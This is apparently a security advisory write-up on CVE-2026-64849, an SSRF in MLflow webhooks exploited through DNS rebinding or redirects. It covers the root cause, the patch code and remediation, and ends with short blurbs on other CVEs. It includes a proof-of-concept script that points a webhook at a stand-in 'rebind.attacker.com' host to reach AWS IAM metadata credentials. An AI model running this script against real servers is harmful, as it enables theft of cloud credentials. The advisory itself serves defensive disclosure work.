Aug 18, 2026·5 min read·2 visits
A Time-of-Check to Time-of-Use (TOCTOU) vulnerability in MLflow webhooks allows unauthenticated remote attackers to bypass IP constraints and extract sensitive local or cloud metadata credentials.
CVE-2026-64849 is a critical Server-Side Request Forgery (SSRF) vulnerability affecting MLflow tracking servers prior to version 3.15.0. It allows unauthenticated remote attackers to bypass outbound request destination filters using DNS rebinding or HTTP redirects. This exposure risks compromising sensitive cloud infrastructure metadata and internal microservices.
The MLflow tracking platform supports the registration of outbound webhooks to transmit event notifications to external web services. To secure these outbound requests from Server-Side Request Forgery, MLflow attempts to validate that destination endpoints resolve to public IP addresses.
Prior to version 3.15.0, the validation routine and the connection establishment phase were completely decoupled. This implementation allows unauthenticated remote users to interact with the testing endpoint located at '/api/2.0/mlflow/webhooks/{id}/test' and direct requests into internal systems.
This vulnerability is tracked as CVE-2026-64849. The bug class represents a significant boundary crossing from the public-facing MLflow service to the underlying internal network or cloud management plane.
The core weakness of this vulnerability is a Time-of-Check to Time-of-Use (TOCTOU) flaw. The validation function '_validate_webhook_url' in 'mlflow/utils/validation.py' performs a DNS resolution lookup and checks if the retrieved IP addresses are public.
After validation passes, the application discards the resolved IP coordinates and forwards the raw hostname URL to the Python 'requests' library. The connection manager subsequently conducts a second, independent DNS query during socket establishment, creating a window for exploitation.
Attackers can leverage a custom DNS server to respond with a public IP during validation and a local loopback or cloud link-local address during the subsequent connection. Furthermore, the client follows HTTP redirect headers natively, allowing remote web servers to redirect the validation-cleared connection directly to internal interfaces.
The following diagram outlines the structural vulnerability flow within the webhook testing routine, demonstrating how the DNS rebinding is achieved across separate resolution queries:
The vulnerability is addressed by intercepting connection attempts at the socket level. The patch introduces a specialized 'SSRFProtectedHTTPAdapter' that validates the socket peer address post-connection but pre-handshake.
# Vulnerable path in mlflow/webhooks/delivery.py
def _send_webhook_request(webhook, payload, event, session):
_validate_webhook_url(webhook.url) # Validation occurs here
# The hostname is re-resolved inside the POST session
return session.post(webhook.url, data=payload_bytes)# Patched socket verification in mlflow/webhooks/ssrf.py
def _assert_public_peer(sock: socket.socket) -> None:
if _MLFLOW_WEBHOOK_ALLOW_PRIVATE_IPS.get():
return
try:
peer_ip = sock.getpeername()[0]
ip = ipaddress.ip_address(peer_ip)
except Exception as e:
sock.close()
raise SSRFProtectionError(f"Failed connection check: {e}")
if not ip.is_global:
sock.close() # Terminate TCP connection immediately
raise SSRFProtectionError("Connection blocked: private destination")Additionally, setting 'session.trust_env = False' within the patched session configuration blocks proxy environmental variables. This prevents attackers from routing requests through local proxies that could circumvent local address filters.
To execute the attack, an adversary configures an authoritative DNS server with a low Time-To-Live setting. The server resolves to a public address on the first request to pass MLflow checks, then changes its target to an internal host for the subsequent request.
Alternatively, an attacker can trigger the endpoint using a public redirection server. The redirection server sends a 301 response pointing to loopback addresses, which forces the 'requests' library to follow the path without repeating validation.
The following proof-of-concept script shows how the tracking client can trigger the vulnerability:
# Technical Proof-of-Concept
import mlflow
from mlflow.tracking import MlflowClient
target_uri = "http://vulnerable-mlflow.company.local:5000"
mlflow.set_tracking_uri(target_uri)
client = MlflowClient()
# Webhook target configured for DNS rebinding
target_ssrf_url = "http://rebind.attacker.com/latest/meta-data/iam/security-credentials/mlflow-role"
# Register webhook endpoint
webhook = client.create_webhook(
name="ssrf-poc-exploit",
url=target_ssrf_url,
events=["registered_model.created"]
)
try:
# Trigger testing mechanism
test_result = client.test_webhook(id=webhook.id)
print("Status:", test_result.response_status)
print("Data:", test_result.response_body)
except Exception as e:
print("Exploit run failed:", e)The potential consequences of CVE-2026-64849 are critical for organizations utilizing cloud-hosted MLflow services. Outbound requests can target local cloud metadata services to acquire highly privileged administrative credentials.
In an AWS environment, the IAM roles associated with the underlying EC2 instance or Kubernetes node can be compromised. This allows attackers to access remote databases, configurations, and administrative tools integrated within the platform's subnet.
The CVSS v3.1 score of 9.3 reflects the unauthenticated nature of the request, low attack complexity, and high confidentiality impact. Because this vulnerability allows communication across distinct network security zones, the Scope metric is assessed as Changed.
Remediation requires upgrading MLflow to version 3.15.0 or later to install the socket peer validation logic. This patch ensures that all target IP addresses are validated at the socket creation level regardless of DNS variations or redirects.
If upgrading cannot be performed immediately, outbound network controls should be enforced. Organizations can configure host firewalls to block all egress traffic to link-local ranges and local network endpoints from the MLflow user profile.
Deploying the MLflow Tracking Server behind a secure reverse proxy that enforces user authentication prevents unauthenticated remote attackers from reaching the webhook test API. Restricting local environment proxy variables also mitigates redirection bypasses.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N| Product | Affected Versions | Fixed Version |
|---|---|---|
MLflow mlflow | < 3.15.0 | 3.15.0 |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-918 |
| Attack Vector | Network |
| CVSS v3.1 Score | 9.3 |
| Vulnerability Type | Server-Side Request Forgery (SSRF) |
| Exploit Status | poc |
| CISA KEV Status | Not Listed |
The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.
A high-severity security vulnerability exists in 9Router, an AI router and token saver dashboard. When dashboard authentication features are disabled or left in default configurations, the application exposes administrative testing routines directly to the public internet. Unauthenticated network adversaries can exploit the OIDC configuration validation endpoint to initiate arbitrary HTTP requests, routing unauthorized traffic to local loops, adjacent container ports, and cloud resource metadata interfaces.
This technical report details a missing authorization vulnerability (CVE-2026-69146 / GHSA-3p64-6gvh-82v5) affecting the MLflow platform from version 3.13.0 to 3.15.0. When MLflow is configured with the built-in basic-auth plugin, authenticated users can bypass run-level UPDATE authorization checks, enabling unauthorized dataset and model lineage metadata injection.
MLflow prior to version 3.15.0 fails to perform proper authorization checks when registering model versions, allowing authenticated users with access to a registered model to link and access artifacts from runs and models belonging to other users without authorization.
A high-severity Regular Expression Denial of Service (ReDoS) vulnerability in the sqlparse Python library prior to version 0.6.0 allows unauthenticated remote attackers to trigger CPU exhaustion and application denial of service via crafted SQL inputs containing unmatched dollar-quoted literals or unclosed multiline comments.
A high-severity logic inversion flaw in the uniget CLI completely bypasses Sigstore cryptographic signature verification on metadata files by default. If an attacker can poison the package metadata cache or repository, they can execute arbitrary OS commands under the privileges of the active user.
A technical analysis of CVE-2026-59903 in Netty's HTTP CORS handler, where the CorsHandler overwrites existing application Vary headers with Origin, leading to unauthorized caching of sensitive information.